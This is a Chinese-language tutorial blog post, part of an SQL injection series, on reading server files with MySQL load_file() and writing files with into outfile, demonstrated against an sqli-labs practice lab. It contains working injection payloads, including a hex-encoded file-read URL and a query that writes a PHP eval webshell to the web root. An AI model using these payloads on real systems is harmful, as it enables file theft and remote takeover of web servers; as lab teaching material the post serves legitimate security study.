sql注入总结(2)--------导入导出文件操作

一,爆出绝对路径

这个方法有不少,需要花时间去研究学习,但这是文件导入导出的关键步骤

二,导出文件

(1) load_file()函数

Load_file(”file_name“):

使用条件:

  • 必须有权限读取并且文件必须完全可读
  • 欲读取文件必须在服务器上
  • 必须指定文件完整的路径
  • 欲读取文件的大小必须小于配置文件中 max_allowed_packet定义的大小

如果该文件不存在,或因为上面的任一原因而不能被读出,函数返回空。

比较难满足的就是权限,在 windows 下,如果 NTFS 设置得当,是不能读取相关的文件的,当遇到只有administrators 才能访问的文件,users 就别想 load_file 出来。

mysql> select load_file("C:\\a\\hah.txt");          ?#注意这里要//转义
+-----------------------------+
| load_file("C:\\a\\hah.txt") |
+-----------------------------+
| haha! 你读取到数据了                     |
+-----------------------------+
1 row in set (0.00 sec)

/?id=-1%27%20union%20select%201,2,load_file(0x433A5C615C6861682E747874)--+


?    0x433A5C615C6861682E747874 是C:\a\hah.txt的16进制编码

常用文件的常用路径


三,上传文件

SQL写WebShell条件

  • 在mysql的配置文件 my.inisecure_file_priv=“c:/wamp64/tmp” 被注释 或者 secure_file_priv =" "
  • 未开启全局gpc。

(1) into outfile {绝对路径}

最常见的写入方式,union select 后跟 into outfile 语句

http://192.168.44.131/sqlilabs/Less-1/?id=-1' union select 1,2,'<?php phpinfo() ?> into outfile "C:\\phpStudy\\PHPTutorial\\WWW\\sqlilabs\\Less-1\\a.php" --+
  • 在这里插入图片描述
    或者传一句话马
Select <?php @eval($_post[“cmd”])?> into outfile “c:\\phpnow\\htdocs\\test.php”

其他写入webshell的方法

发布了49 篇原创文章 · 获赞 33 · 访问量 1万+

猜你喜欢

转载自blog.csdn.net/Z_Grant/article/details/100173738